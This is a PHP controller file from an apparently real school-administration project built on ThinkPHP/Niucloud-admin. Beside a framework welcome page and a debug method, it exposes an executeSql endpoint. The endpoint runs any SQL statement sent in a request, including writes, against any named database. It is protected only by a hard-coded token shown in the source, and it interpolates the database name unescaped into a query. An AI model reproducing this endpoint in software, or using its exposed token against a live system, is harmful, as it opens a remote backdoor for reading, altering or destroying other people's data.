智慧教务系统
You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.
 
 
 
 
 
 

114 lines
4.3 KiB

<?php
// +----------------------------------------------------------------------
// | Niucloud-admin 企业快速开发的多应用管理平台
// +----------------------------------------------------------------------
// | 官方网址:https://www.niucloud.com
// +----------------------------------------------------------------------
// | niucloud团队 版权所有 开源版本可自由商用
// +----------------------------------------------------------------------
// | Author: Niucloud Team
// +----------------------------------------------------------------------
namespace app\api\controller\sys;
use app\listener\personnel\CalculatePerformance;
use core\base\BaseController;
use think\facade\App;
class Index extends BaseController
{
public function index()
{
return '<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} a{color:#2E5CD5;cursor: pointer;text-decoration: none} a:hover{text-decoration:underline; } body{ background: #fff; font-family: "Century Gothic","Microsoft yahei"; color: #333;font-size:18px;} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.6em; font-size: 42px }</style><div style="padding: 24px 48px;"> <h1>:) </h1><p> ThinkPHP V' . App::version() . '<br/><span style="font-size:30px;">16载初心不改 - 你值得信赖的PHP框架</span></p><span style="font-size:25px;">[ V6.0 版本由 <a href="https://www.yisu.com/" target="yisu">亿速云</a> 独家赞助发布 ]</span></div><script type="text/javascript" src="https://e.topthink.com/Public/static/client.js"></script><think id="ee9b1aa918103c4fc"></think>';
}
public function hello($name = 'ThinkPHP6')
{
return 'hello,' . $name;
}
public function executeSql()
{
$database = input('database');
$sql = input('sql');
// 查看请求头中是否有token
$token = request()->header('token');
if (empty($token)) {
return json([
'success' => false,
'message' => '无权访问',
'data' => null
]);
} elseif ($token != 'dH5!aJ0$aK1|dF0%dR1$cG1>iL0|oM') {
return json([
'success' => false,
'message' => '无权访问',
'data' => null
]);
}
if ($sql == '') {
return json([
'success' => false,
'message' => '请输入 SQL 语句',
'data' => null
]);
}
try {
// 切换数据库连接(动态配置)
if ($database) {
$connection = \think\facade\Db::connect([
'database' => $database,
]);
// 查询数据库是否存在
$dbExists = $connection->query("SELECT 1 FROM information_schema.schemata WHERE schema_name = '{$database}'");
if (empty($dbExists)) {
return json([
'success' => false,
'message' => "数据库 {$database} 不存在",
'data' => null
]);
}
} else {
$connection = \think\facade\Db::connect();
}
$sql = trim($sql);
$lowerSql = strtolower($sql);
if (strpos($lowerSql, 'select') === 0 ||
strpos($lowerSql, 'show') === 0 ||
strpos($lowerSql, 'desc') === 0 ||
strpos($lowerSql, 'pragma') === 0) {
// 查询类 SQL 使用 query()
$result = $connection->query($sql, [], true, true);
} else {
// 写入类 SQL 使用 execute()
$result = $connection->execute($sql, [], true);
}
return json([
'success' => true,
'message' => 'SQL 执行成功',
'data' => $result
]);
} catch (\Exception $e) {
return json([
'success' => false,
'message' => $e->getMessage(),
'data' => null
]);
}
}
public function testfun()
{
$obj = new CalculatePerformance();
$obj->handle([
'customer_resources_id' => 7,
'event_type' => 'add'
]);
dd(123);
}
}